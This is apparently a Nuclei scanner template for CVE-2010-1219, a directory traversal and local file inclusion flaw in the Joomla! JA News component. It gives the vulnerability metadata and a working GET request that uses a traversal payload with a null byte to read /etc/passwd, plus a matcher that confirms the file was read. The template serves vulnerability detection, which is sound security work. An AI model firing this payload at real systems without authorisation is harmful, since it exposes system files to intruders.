id: CVE-2010-1219

info:
  name: Joomla! Component com_janews - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA News (com_janews) component 1.0 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11757
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1219
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56901
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1219
    cwe-id: CWE-22
    epss-score: 0.08266
    epss-percentile: 0.94346
    cpe: cpe:2.3:a:com_janews:com_janews:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: com_janews
    product: com_janews
  tags: cve,cve2010,joomla,lfi,edb,com_janews,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ab5840dd11208b2241b5f0c1053ca20f2498e50753d247c64c3d126640579b1502207008ead3bd725b03c0a206152953be8f4fb5bd460b03436904e36b39f086e0f2:922c64590222798bb761d5b6d8e72950